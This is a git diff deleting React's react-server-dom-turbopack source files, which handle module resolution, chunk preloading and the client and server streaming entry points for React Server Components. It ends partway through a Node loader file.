-  RejectedThenable,
-} from 'shared/ReactTypes';
-
-import type {
-  ImportMetadata,
-  ImportManifestEntry,
-} from './shared/ReactFlightImportMetadata';
-import type {ModuleLoading} from 'react-client/src/ReactFlightClientConfig';
-
-import {
-  ID,
-  CHUNKS,
-  NAME,
-  isAsyncImport,
-} from './shared/ReactFlightImportMetadata';
-
-import {prepareDestinationWithChunks} from 'react-client/src/ReactFlightClientConfig';
-
-import {loadChunk} from 'react-client/src/ReactFlightClientConfig';
-
-export type SSRModuleMap = null | {
-  [clientId: string]: {
-    [clientExportName: string]: ClientReferenceManifestEntry,
-  },
-};
-
-export type ServerManifest = {
-  [id: string]: ImportManifestEntry,
-};
-
-export type ServerReferenceId = string;
-
-export opaque type ClientReferenceManifestEntry = ImportManifestEntry;
-export opaque type ClientReferenceMetadata = ImportMetadata;
-
-// eslint-disable-next-line no-unused-vars
-export opaque type ClientReference<T> = ClientReferenceMetadata;
-
-// The reason this function needs to defined here in this file instead of just
-// being exported directly from the TurbopackDestination... file is because the
-// ClientReferenceMetadata is opaque and we can't unwrap it there.
-// This should get inlined and we could also just implement an unwrapping function
-// though that risks it getting used in places it shouldn't be. This is unfortunate
-// but currently it seems to be the best option we have.
-export function prepareDestinationForModule(
-  moduleLoading: ModuleLoading,
-  nonce: ?string,
-  metadata: ClientReferenceMetadata,
-) {
-  prepareDestinationWithChunks(moduleLoading, metadata[CHUNKS], nonce);
-}
-
-export function resolveClientReference<T>(
-  bundlerConfig: SSRModuleMap,
-  metadata: ClientReferenceMetadata,
-): ClientReference<T> {
-  if (bundlerConfig) {
-    const moduleExports = bundlerConfig[metadata[ID]];
-    let resolvedModuleData = moduleExports[metadata[NAME]];
-    let name;
-    if (resolvedModuleData) {
-      // The potentially aliased name.
-      name = resolvedModuleData.name;
-    } else {
-      // If we don't have this specific name, we might have the full module.
-      resolvedModuleData = moduleExports['*'];
-      if (!resolvedModuleData) {
-        throw new Error(
-          'Could not find the module "' +
-            metadata[ID] +
-            '" in the React SSR Manifest. ' +
-            'This is probably a bug in the React Server Components bundler.',
-        );
-      }
-      name = metadata[NAME];
-    }
-    if (isAsyncImport(metadata)) {
-      return [
-        resolvedModuleData.id,
-        resolvedModuleData.chunks,
-        name,
-        1 /* async */,
-      ];
-    } else {
-      return [resolvedModuleData.id, resolvedModuleData.chunks, name];
-    }
-  }
-  return metadata;
-}
-
-export function resolveServerReference<T>(
-  bundlerConfig: ServerManifest,
-  id: ServerReferenceId,
-): ClientReference<T> {
-  let name = '';
-  let resolvedModuleData = bundlerConfig[id];
-  if (resolvedModuleData) {
-    // The potentially aliased name.
-    name = resolvedModuleData.name;
-  } else {
-    // We didn't find this specific export name but we might have the * export
-    // which contains this name as well.
-    // TODO: It's unfortunate that we now have to parse this string. We should
-    // probably go back to encoding path and name separately on the client reference.
-    const idx = id.lastIndexOf('#');
-    if (idx !== -1) {
-      name = id.slice(idx + 1);
-      resolvedModuleData = bundlerConfig[id.slice(0, idx)];
-    }
-    if (!resolvedModuleData) {
-      throw new Error(
-        'Could not find the module "' +
-          id +
-          '" in the React Server Manifest. ' +
-          'This is probably a bug in the React Server Components bundler.',
-      );
-    }
-  }
-  // TODO: This needs to return async: true if it's an async module.
-  return [resolvedModuleData.id, resolvedModuleData.chunks, name];
-}
-
-// The chunk cache contains all the chunks we've preloaded so far.
-// If they're still pending they're a thenable. This map also exists
-// in Turbopack but unfortunately it's not exposed so we have to
-// replicate it in user space. null means that it has already loaded.
-const chunkCache: Map<string, null | Promise<any>> = new Map();
-
-function requireAsyncModule(id: string): null | Thenable<any> {
-  // We've already loaded all the chunks. We can require the module.
-  const promise = __turbopack_require__(id);
-  if (typeof promise.then !== 'function') {
-    // This wasn't a promise after all.
-    return null;
-  } else if (promise.status === 'fulfilled') {
-    // This module was already resolved earlier.
-    return null;
-  } else {
-    // Instrument the Promise to stash the result.
-    promise.then(
-      value => {
-        const fulfilledThenable: FulfilledThenable<mixed> = (promise: any);
-        fulfilledThenable.status = 'fulfilled';
-        fulfilledThenable.value = value;
-      },
-      reason => {
-        const rejectedThenable: RejectedThenable<mixed> = (promise: any);
-        rejectedThenable.status = 'rejected';
-        rejectedThenable.reason = reason;
-      },
-    );
-    return promise;
-  }
-}
-
-function ignoreReject() {
-  // We rely on rejected promises to be handled by another listener.
-}
-// Start preloading the modules since we might need them soon.
-// This function doesn't suspend.
-export function preloadModule<T>(
-  metadata: ClientReference<T>,
-): null | Thenable<any> {
-  const chunks = metadata[CHUNKS];
-  const promises = [];
-  for (let i = 0; i < chunks.length; i++) {
-    const chunkFilename = chunks[i];
-    const entry = chunkCache.get(chunkFilename);
-    if (entry === undefined) {
-      const thenable = loadChunk(chunkFilename);
-      promises.push(thenable);
-      // $FlowFixMe[method-unbinding]
-      const resolve = chunkCache.set.bind(chunkCache, chunkFilename, null);
-      thenable.then(resolve, ignoreReject);
-      chunkCache.set(chunkFilename, thenable);
-    } else if (entry !== null) {
-      promises.push(entry);
-    }
-  }
-  if (isAsyncImport(metadata)) {
-    if (promises.length === 0) {
-      return requireAsyncModule(metadata[ID]);
-    } else {
-      return Promise.all(promises).then(() => {
-        return requireAsyncModule(metadata[ID]);
-      });
-    }
-  } else if (promises.length > 0) {
-    return Promise.all(promises);
-  } else {
-    return null;
-  }
-}
-
-// Actually require the module or suspend if it's not yet ready.
-// Increase priority if necessary.
-export function requireModule<T>(metadata: ClientReference<T>): T {
-  let moduleExports = __turbopack_require__(metadata[ID]);
-  if (isAsyncImport(metadata)) {
-    if (typeof moduleExports.then !== 'function') {
-      // This wasn't a promise after all.
-    } else if (moduleExports.status === 'fulfilled') {
-      // This Promise should've been instrumented by preloadModule.
-      moduleExports = moduleExports.value;
-    } else {
-      throw moduleExports.reason;
-    }
-  }
-  if (metadata[NAME] === '*') {
-    // This is a placeholder value that represents that the caller imported this
-    // as a CommonJS module as is.
-    return moduleExports;
-  }
-  if (metadata[NAME] === '') {
-    // This is a placeholder value that represents that the caller accessed the
-    // default property of this if it was an ESM interop module.
-    return moduleExports.__esModule ? moduleExports.default : moduleExports;
-  }
-  return moduleExports[metadata[NAME]];
-}
diff --git a/packages/react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopackBrowser.js b/packages/react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopackBrowser.js
deleted file mode 100644
index c418f51fa80e..000000000000
--- a/packages/react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopackBrowser.js
+++ /dev/null
@@ -1,12 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-export function loadChunk(filename: string): Promise<mixed> {
-  return __turbopack_load__(filename);
-}
diff --git a/packages/react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopackServer.js b/packages/react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopackServer.js
deleted file mode 100644
index c418f51fa80e..000000000000
--- a/packages/react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopackServer.js
+++ /dev/null
@@ -1,12 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-export function loadChunk(filename: string): Promise<mixed> {
-  return __turbopack_load__(filename);
-}
diff --git a/packages/react-server-dom-turbopack/src/ReactFlightDOMClientBrowser.js b/packages/react-server-dom-turbopack/src/ReactFlightDOMClientBrowser.js
deleted file mode 100644
index 1aac84fde677..000000000000
--- a/packages/react-server-dom-turbopack/src/ReactFlightDOMClientBrowser.js
+++ /dev/null
@@ -1,138 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {Thenable} from 'shared/ReactTypes.js';
-
-import type {
-  Response as FlightResponse,
-  FindSourceMapURLCallback,
-} from 'react-client/src/ReactFlightClient';
-
-import type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';
-
-import {
-  createResponse,
-  getRoot,
-  reportGlobalError,
-  processBinaryChunk,
-  close,
-} from 'react-client/src/ReactFlightClient';
-
-import {
-  processReply,
-  createServerReference,
-} from 'react-client/src/ReactFlightReplyClient';
-
-import type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
-
-export {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
-
-export type {TemporaryReferenceSet};
-
-type CallServerCallback = <A, T>(string, args: A) => Promise<T>;
-
-export type Options = {
-  callServer?: CallServerCallback,
-  temporaryReferences?: TemporaryReferenceSet,
-  findSourceMapURL?: FindSourceMapURLCallback,
-};
-
-function createResponseFromOptions(options: void | Options) {
-  return createResponse(
-    null,
-    null,
-    options && options.callServer ? options.callServer : undefined,
-    undefined, // encodeFormAction
-    undefined, // nonce
-    options && options.temporaryReferences
-      ? options.temporaryReferences
-      : undefined,
-    __DEV__ && options && options.findSourceMapURL
-      ? options.findSourceMapURL
-      : undefined,
-  );
-}
-
-function startReadingFromStream(
-  response: FlightResponse,
-  stream: ReadableStream,
-): void {
-  const reader = stream.getReader();
-  function progress({
-    done,
-    value,
-  }: {
-    done: boolean,
-    value: ?any,
-    ...
-  }): void | Promise<void> {
-    if (done) {
-      close(response);
-      return;
-    }
-    const buffer: Uint8Array = (value: any);
-    processBinaryChunk(response, buffer);
-    return reader.read().then(progress).catch(error);
-  }
-  function error(e: any) {
-    reportGlobalError(response, e);
-  }
-  reader.read().then(progress).catch(error);
-}
-
-function createFromReadableStream<T>(
-  stream: ReadableStream,
-  options?: Options,
-): Thenable<T> {
-  const response: FlightResponse = createResponseFromOptions(options);
-  startReadingFromStream(response, stream);
-  return getRoot(response);
-}
-
-function createFromFetch<T>(
-  promiseForResponse: Promise<Response>,
-  options?: Options,
-): Thenable<T> {
-  const response: FlightResponse = createResponseFromOptions(options);
-  promiseForResponse.then(
-    function (r) {
-      startReadingFromStream(response, (r.body: any));
-    },
-    function (e) {
-      reportGlobalError(response, e);
-    },
-  );
-  return getRoot(response);
-}
-
-function encodeReply(
-  value: ReactServerValue,
-  options?: {temporaryReferences?: TemporaryReferenceSet},
-): Promise<
-  string | URLSearchParams | FormData,
-> /* We don't use URLSearchParams yet but maybe */ {
-  return new Promise((resolve, reject) => {
-    processReply(
-      value,
-      '',
-      options && options.temporaryReferences
-        ? options.temporaryReferences
-        : undefined,
-      resolve,
-      reject,
-    );
-  });
-}
-
-export {
-  createFromFetch,
-  createFromReadableStream,
-  encodeReply,
-  createServerReference,
-};
diff --git a/packages/react-server-dom-turbopack/src/ReactFlightDOMClientEdge.js b/packages/react-server-dom-turbopack/src/ReactFlightDOMClientEdge.js
deleted file mode 100644
index c6336f7e4210..000000000000
--- a/packages/react-server-dom-turbopack/src/ReactFlightDOMClientEdge.js
+++ /dev/null
@@ -1,163 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';
-
-import type {
-  Response as FlightResponse,
-  FindSourceMapURLCallback,
-} from 'react-client/src/ReactFlightClient';
-
-import type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';
-
-import type {
-  SSRModuleMap,
-  ModuleLoading,
-} from 'react-client/src/ReactFlightClientConfig';
-
-type SSRManifest = {
-  moduleMap: SSRModuleMap,
-  moduleLoading: ModuleLoading,
-};
-
-import {
-  createResponse,
-  getRoot,
-  reportGlobalError,
-  processBinaryChunk,
-  close,
-} from 'react-client/src/ReactFlightClient';
-
-import {
-  processReply,
-  createServerReference as createServerReferenceImpl,
-} from 'react-client/src/ReactFlightReplyClient';
-
-import type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
-
-export {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
-
-export type {TemporaryReferenceSet};
-
-function noServerCall() {
-  throw new Error(
-    'Server Functions cannot be called during initial render. ' +
-      'This would create a fetch waterfall. Try to use a Server Component ' +
-      'to pass data to Client Components instead.',
-  );
-}
-
-export function createServerReference<A: Iterable<any>, T>(
-  id: any,
-  callServer: any,
-): (...A) => Promise<T> {
-  return createServerReferenceImpl(id, noServerCall);
-}
-
-type EncodeFormActionCallback = <A>(
-  id: any,
-  args: Promise<A>,
-) => ReactCustomFormAction;
-
-export type Options = {
-  ssrManifest: SSRManifest,
-  nonce?: string,
-  encodeFormAction?: EncodeFormActionCallback,
-  temporaryReferences?: TemporaryReferenceSet,
-  findSourceMapURL?: FindSourceMapURLCallback,
-};
-
-function createResponseFromOptions(options: Options) {
-  return createResponse(
-    options.ssrManifest.moduleMap,
-    options.ssrManifest.moduleLoading,
-    noServerCall,
-    options.encodeFormAction,
-    typeof options.nonce === 'string' ? options.nonce : undefined,
-    options && options.temporaryReferences
-      ? options.temporaryReferences
-      : undefined,
-    __DEV__ && options && options.findSourceMapURL
-      ? options.findSourceMapURL
-      : undefined,
-  );
-}
-
-function startReadingFromStream(
-  response: FlightResponse,
-  stream: ReadableStream,
-): void {
-  const reader = stream.getReader();
-  function progress({
-    done,
-    value,
-  }: {
-    done: boolean,
-    value: ?any,
-    ...
-  }): void | Promise<void> {
-    if (done) {
-      close(response);
-      return;
-    }
-    const buffer: Uint8Array = (value: any);
-    processBinaryChunk(response, buffer);
-    return reader.read().then(progress).catch(error);
-  }
-  function error(e: any) {
-    reportGlobalError(response, e);
-  }
-  reader.read().then(progress).catch(error);
-}
-
-function createFromReadableStream<T>(
-  stream: ReadableStream,
-  options: Options,
-): Thenable<T> {
-  const response: FlightResponse = createResponseFromOptions(options);
-  startReadingFromStream(response, stream);
-  return getRoot(response);
-}
-
-function createFromFetch<T>(
-  promiseForResponse: Promise<Response>,
-  options: Options,
-): Thenable<T> {
-  const response: FlightResponse = createResponseFromOptions(options);
-  promiseForResponse.then(
-    function (r) {
-      startReadingFromStream(response, (r.body: any));
-    },
-    function (e) {
-      reportGlobalError(response, e);
-    },
-  );
-  return getRoot(response);
-}
-
-function encodeReply(
-  value: ReactServerValue,
-  options?: {temporaryReferences?: TemporaryReferenceSet},
-): Promise<
-  string | URLSearchParams | FormData,
-> /* We don't use URLSearchParams yet but maybe */ {
-  return new Promise((resolve, reject) => {
-    processReply(
-      value,
-      '',
-      options && options.temporaryReferences
-        ? options.temporaryReferences
-        : undefined,
-      resolve,
-      reject,
-    );
-  });
-}
-
-export {createFromFetch, createFromReadableStream, encodeReply};
diff --git a/packages/react-server-dom-turbopack/src/ReactFlightDOMClientNode.js b/packages/react-server-dom-turbopack/src/ReactFlightDOMClientNode.js
deleted file mode 100644
index d0fb59c51e8b..000000000000
--- a/packages/react-server-dom-turbopack/src/ReactFlightDOMClientNode.js
+++ /dev/null
@@ -1,91 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';
-
-import type {
-  Response,
-  FindSourceMapURLCallback,
-} from 'react-client/src/ReactFlightClient';
-
-import type {
-  SSRModuleMap,
-  ModuleLoading,
-} from 'react-client/src/ReactFlightClientConfig';
-
-type SSRManifest = {
-  moduleMap: SSRModuleMap,
-  moduleLoading: ModuleLoading,
-};
-
-import type {Readable} from 'stream';
-
-import {
-  createResponse,
-  getRoot,
-  reportGlobalError,
-  processBinaryChunk,
-  close,
-} from 'react-client/src/ReactFlightClient';
-
-import {createServerReference as createServerReferenceImpl} from 'react-client/src/ReactFlightReplyClient';
-
-function noServerCall() {
-  throw new Error(
-    'Server Functions cannot be called during initial render. ' +
-      'This would create a fetch waterfall. Try to use a Server Component ' +
-      'to pass data to Client Components instead.',
-  );
-}
-
-export function createServerReference<A: Iterable<any>, T>(
-  id: any,
-  callServer: any,
-): (...A) => Promise<T> {
-  return createServerReferenceImpl(id, noServerCall);
-}
-
-type EncodeFormActionCallback = <A>(
-  id: any,
-  args: Promise<A>,
-) => ReactCustomFormAction;
-
-export type Options = {
-  nonce?: string,
-  encodeFormAction?: EncodeFormActionCallback,
-  findSourceMapURL?: FindSourceMapURLCallback,
-};
-
-function createFromNodeStream<T>(
-  stream: Readable,
-  ssrManifest: SSRManifest,
-  options?: Options,
-): Thenable<T> {
-  const response: Response = createResponse(
-    ssrManifest.moduleMap,
-    ssrManifest.moduleLoading,
-    noServerCall,
-    options ? options.encodeFormAction : undefined,
-    options && typeof options.nonce === 'string' ? options.nonce : undefined,
-    undefined, // TODO: If encodeReply is supported, this should support temporaryReferences
-    __DEV__ && options && options.findSourceMapURL
-      ? options.findSourceMapURL
-      : undefined,
-  );
-  stream.on('data', chunk => {
-    processBinaryChunk(response, chunk);
-  });
-  stream.on('error', error => {
-    reportGlobalError(response, error);
-  });
-  stream.on('end', () => close(response));
-  return getRoot(response);
-}
-
-export {createFromNodeStream};
diff --git a/packages/react-server-dom-turbopack/src/ReactFlightDOMServerBrowser.js b/packages/react-server-dom-turbopack/src/ReactFlightDOMServerBrowser.js
deleted file mode 100644
index f12c811a40f8..000000000000
--- a/packages/react-server-dom-turbopack/src/ReactFlightDOMServerBrowser.js
+++ /dev/null
@@ -1,122 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {ReactClientValue} from 'react-server/src/ReactFlightServer';
-import type {Thenable} from 'shared/ReactTypes';
-import type {ClientManifest} from './ReactFlightServerConfigTurbopackBundler';
-import type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';
-
-import {
-  createRequest,
-  startWork,
-  startFlowing,
-  stopFlowing,
-  abort,
-} from 'react-server/src/ReactFlightServer';
-
-import {
-  createResponse,
-  close,
-  getRoot,
-} from 'react-server/src/ReactFlightReplyServer';
-
-import {
-  decodeAction,
-  decodeFormState,
-} from 'react-server/src/ReactFlightActionServer';
-
-export {
-  registerServerReference,
-  registerClientReference,
-  createClientModuleProxy,
-} from './ReactFlightTurbopackReferences';
-
-import type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
-
-export {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
-
-export type {TemporaryReferenceSet};
-
-type Options = {
-  environmentName?: string | (() => string),
-  identifierPrefix?: string,
-  signal?: AbortSignal,
-  temporaryReferences?: TemporaryReferenceSet,
-  onError?: (error: mixed) => void,
-  onPostpone?: (reason: string) => void,
-};
-
-function renderToReadableStream(
-  model: ReactClientValue,
-  turbopackMap: ClientManifest,
-  options?: Options,
-): ReadableStream {
-  const request = createRequest(
-    model,
-    turbopackMap,
-    options ? options.onError : undefined,
-    options ? options.identifierPrefix : undefined,
-    options ? options.onPostpone : undefined,
-    options ? options.environmentName : undefined,
-    options ? options.temporaryReferences : undefined,
-  );
-  if (options && options.signal) {
-    const signal = options.signal;
-    if (signal.aborted) {
-      abort(request, (signal: any).reason);
-    } else {
-      const listener = () => {
-        abort(request, (signal: any).reason);
-        signal.removeEventListener('abort', listener);
-      };
-      signal.addEventListener('abort', listener);
-    }
-  }
-  const stream = new ReadableStream(
-    {
-      type: 'bytes',
-      start: (controller): ?Promise<void> => {
-        startWork(request);
-      },
-      pull: (controller): ?Promise<void> => {
-        startFlowing(request, controller);
-      },
-      cancel: (reason): ?Promise<void> => {
-        stopFlowing(request);
-        abort(request, reason);
-      },
-    },
-    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
-    {highWaterMark: 0},
-  );
-  return stream;
-}
-
-function decodeReply<T>(
-  body: string | FormData,
-  turbopackMap: ServerManifest,
-  options?: {temporaryReferences?: TemporaryReferenceSet},
-): Thenable<T> {
-  if (typeof body === 'string') {
-    const form = new FormData();
-    form.append('0', body);
-    body = form;
-  }
-  const response = createResponse(
-    turbopackMap,
-    '',
-    options ? options.temporaryReferences : undefined,
-    body,
-  );
-  const root = getRoot<T>(response);
-  close(response);
-  return root;
-}
-
-export {renderToReadableStream, decodeReply, decodeAction, decodeFormState};
diff --git a/packages/react-server-dom-turbopack/src/ReactFlightDOMServerEdge.js b/packages/react-server-dom-turbopack/src/ReactFlightDOMServerEdge.js
deleted file mode 100644
index f12c811a40f8..000000000000
--- a/packages/react-server-dom-turbopack/src/ReactFlightDOMServerEdge.js
+++ /dev/null
@@ -1,122 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {ReactClientValue} from 'react-server/src/ReactFlightServer';
-import type {Thenable} from 'shared/ReactTypes';
-import type {ClientManifest} from './ReactFlightServerConfigTurbopackBundler';
-import type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';
-
-import {
-  createRequest,
-  startWork,
-  startFlowing,
-  stopFlowing,
-  abort,
-} from 'react-server/src/ReactFlightServer';
-
-import {
-  createResponse,
-  close,
-  getRoot,
-} from 'react-server/src/ReactFlightReplyServer';
-
-import {
-  decodeAction,
-  decodeFormState,
-} from 'react-server/src/ReactFlightActionServer';
-
-export {
-  registerServerReference,
-  registerClientReference,
-  createClientModuleProxy,
-} from './ReactFlightTurbopackReferences';
-
-import type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
-
-export {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
-
-export type {TemporaryReferenceSet};
-
-type Options = {
-  environmentName?: string | (() => string),
-  identifierPrefix?: string,
-  signal?: AbortSignal,
-  temporaryReferences?: TemporaryReferenceSet,
-  onError?: (error: mixed) => void,
-  onPostpone?: (reason: string) => void,
-};
-
-function renderToReadableStream(
-  model: ReactClientValue,
-  turbopackMap: ClientManifest,
-  options?: Options,
-): ReadableStream {
-  const request = createRequest(
-    model,
-    turbopackMap,
-    options ? options.onError : undefined,
-    options ? options.identifierPrefix : undefined,
-    options ? options.onPostpone : undefined,
-    options ? options.environmentName : undefined,
-    options ? options.temporaryReferences : undefined,
-  );
-  if (options && options.signal) {
-    const signal = options.signal;
-    if (signal.aborted) {
-      abort(request, (signal: any).reason);
-    } else {
-      const listener = () => {
-        abort(request, (signal: any).reason);
-        signal.removeEventListener('abort', listener);
-      };
-      signal.addEventListener('abort', listener);
-    }
-  }
-  const stream = new ReadableStream(
-    {
-      type: 'bytes',
-      start: (controller): ?Promise<void> => {
-        startWork(request);
-      },
-      pull: (controller): ?Promise<void> => {
-        startFlowing(request, controller);
-      },
-      cancel: (reason): ?Promise<void> => {
-        stopFlowing(request);
-        abort(request, reason);
-      },
-    },
-    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
-    {highWaterMark: 0},
-  );
-  return stream;
-}
-
-function decodeReply<T>(
-  body: string | FormData,
-  turbopackMap: ServerManifest,
-  options?: {temporaryReferences?: TemporaryReferenceSet},
-): Thenable<T> {
-  if (typeof body === 'string') {
-    const form = new FormData();
-    form.append('0', body);
-    body = form;
-  }
-  const response = createResponse(
-    turbopackMap,
-    '',
-    options ? options.temporaryReferences : undefined,
-    body,
-  );
-  const root = getRoot<T>(response);
-  close(response);
-  return root;
-}
-
-export {renderToReadableStream, decodeReply, decodeAction, decodeFormState};
diff --git a/packages/react-server-dom-turbopack/src/ReactFlightDOMServerNode.js b/packages/react-server-dom-turbopack/src/ReactFlightDOMServerNode.js
deleted file mode 100644
index f8623ee0b51d..000000000000
--- a/packages/react-server-dom-turbopack/src/ReactFlightDOMServerNode.js
+++ /dev/null
@@ -1,214 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {
-  Request,
-  ReactClientValue,
-} from 'react-server/src/ReactFlightServer';
-import type {Destination} from 'react-server/src/ReactServerStreamConfigNode';
-import type {ClientManifest} from './ReactFlightServerConfigTurbopackBundler';
-import type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';
-import type {Busboy} from 'busboy';
-import type {Writable} from 'stream';
-import type {Thenable} from 'shared/ReactTypes';
-
-import {
-  createRequest,
-  startWork,
-  startFlowing,
-  stopFlowing,
-  abort,
-} from 'react-server/src/ReactFlightServer';
-
-import {
-  createResponse,
-  reportGlobalError,
-  close,
-  resolveField,
-  resolveFileInfo,
-  resolveFileChunk,
-  resolveFileComplete,
-  getRoot,
-} from 'react-server/src/ReactFlightReplyServer';
-
-import {
-  decodeAction,
-  decodeFormState,
-} from 'react-server/src/ReactFlightActionServer';
-
-export {
-  registerServerReference,
-  registerClientReference,
-  createClientModuleProxy,
-} from './ReactFlightTurbopackReferences';
-
-import type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
-
-export {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
-
-export type {TemporaryReferenceSet};
-
-function createDrainHandler(destination: Destination, request: Request) {
-  return () => startFlowing(request, destination);
-}
-
-function createCancelHandler(request: Request, reason: string) {
-  return () => {
-    stopFlowing(request);
-    // eslint-disable-next-line react-internal/prod-error-codes
-    abort(request, new Error(reason));
-  };
-}
-
-type Options = {
-  environmentName?: string | (() => string),
-  onError?: (error: mixed) => void,
-  onPostpone?: (reason: string) => void,
-  identifierPrefix?: string,
-  temporaryReferences?: TemporaryReferenceSet,
-};
-
-type PipeableStream = {
-  abort(reason: mixed): void,
-  pipe<T: Writable>(destination: T): T,
-};
-
-function renderToPipeableStream(
-  model: ReactClientValue,
-  turbopackMap: ClientManifest,
-  options?: Options,
-): PipeableStream {
-  const request = createRequest(
-    model,
-    turbopackMap,
-    options ? options.onError : undefined,
-    options ? options.identifierPrefix : undefined,
-    options ? options.onPostpone : undefined,
-    options ? options.environmentName : undefined,
-    options ? options.temporaryReferences : undefined,
-  );
-  let hasStartedFlowing = false;
-  startWork(request);
-  return {
-    pipe<T: Writable>(destination: T): T {
-      if (hasStartedFlowing) {
-        throw new Error(
-          'React currently only supports piping to one writable stream.',
-        );
-      }
-      hasStartedFlowing = true;
-      startFlowing(request, destination);
-      destination.on('drain', createDrainHandler(destination, request));
-      destination.on(
-        'error',
-        createCancelHandler(
-          request,
-          'The destination stream errored while writing data.',
-        ),
-      );
-      destination.on(
-        'close',
-        createCancelHandler(request, 'The destination stream closed early.'),
-      );
-      return destination;
-    },
-    abort(reason: mixed) {
-      abort(request, reason);
-    },
-  };
-}
-
-function decodeReplyFromBusboy<T>(
-  busboyStream: Busboy,
-  turbopackMap: ServerManifest,
-  options?: {temporaryReferences?: TemporaryReferenceSet},
-): Thenable<T> {
-  const response = createResponse(
-    turbopackMap,
-    '',
-    options ? options.temporaryReferences : undefined,
-  );
-  let pendingFiles = 0;
-  const queuedFields: Array<string> = [];
-  busboyStream.on('field', (name, value) => {
-    if (pendingFiles > 0) {
-      // Because the 'end' event fires two microtasks after the next 'field'
-      // we would resolve files and fields out of order. To handle this properly
-      // we queue any fields we receive until the previous file is done.
-      queuedFields.push(name, value);
-    } else {
-      resolveField(response, name, value);
-    }
-  });
-  busboyStream.on('file', (name, value, {filename, encoding, mimeType}) => {
-    if (encoding.toLowerCase() === 'base64') {
-      throw new Error(
-        "React doesn't accept base64 encoded file uploads because we don't expect " +
-          "form data passed from a browser to ever encode data that way. If that's " +
-          'the wrong assumption, we can easily fix it.',
-      );
-    }
-    pendingFiles++;
-    const file = resolveFileInfo(response, name, filename, mimeType);
-    value.on('data', chunk => {
-      resolveFileChunk(response, file, chunk);
-    });
-    value.on('end', () => {
-      resolveFileComplete(response, name, file);
-      pendingFiles--;
-      if (pendingFiles === 0) {
-        // Release any queued fields
-        for (let i = 0; i < queuedFields.length; i += 2) {
-          resolveField(response, queuedFields[i], queuedFields[i + 1]);
-        }
-        queuedFields.length = 0;
-      }
-    });
-  });
-  busboyStream.on('finish', () => {
-    close(response);
-  });
-  busboyStream.on('error', err => {
-    reportGlobalError(
-      response,
-      // $FlowFixMe[incompatible-call] types Error and mixed are incompatible
-      err,
-    );
-  });
-  return getRoot(response);
-}
-
-function decodeReply<T>(
-  body: string | FormData,
-  turbopackMap: ServerManifest,
-  options?: {temporaryReferences?: TemporaryReferenceSet},
-): Thenable<T> {
-  if (typeof body === 'string') {
-    const form = new FormData();
-    form.append('0', body);
-    body = form;
-  }
-  const response = createResponse(
-    turbopackMap,
-    '',
-    options ? options.temporaryReferences : undefined,
-    body,
-  );
-  const root = getRoot<T>(response);
-  close(response);
-  return root;
-}
-
-export {
-  renderToPipeableStream,
-  decodeReplyFromBusboy,
-  decodeReply,
-  decodeAction,
-  decodeFormState,
-};
diff --git a/packages/react-server-dom-turbopack/src/ReactFlightTurbopackNodeLoader.js b/packages/react-server-dom-turbopack/src/ReactFlightTurbopackNodeLoader.js
deleted file mode 100644
index 066825857f44..000000000000
--- a/packages/react-server-dom-turbopack/src/ReactFlightTurbopackNodeLoader.js
+++ /dev/null
@@ -1,483 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import * as acorn from 'acorn-loose';
-
-type ResolveContext = {
-  conditions: Array<string>,
-  parentURL: string | void,
-};
-
-type ResolveFunction = (
-  string,
-  ResolveContext,
-  ResolveFunction,
-) => {url: string} | Promise<{url: string}>;
-
-type GetSourceContext = {
-  format: string,
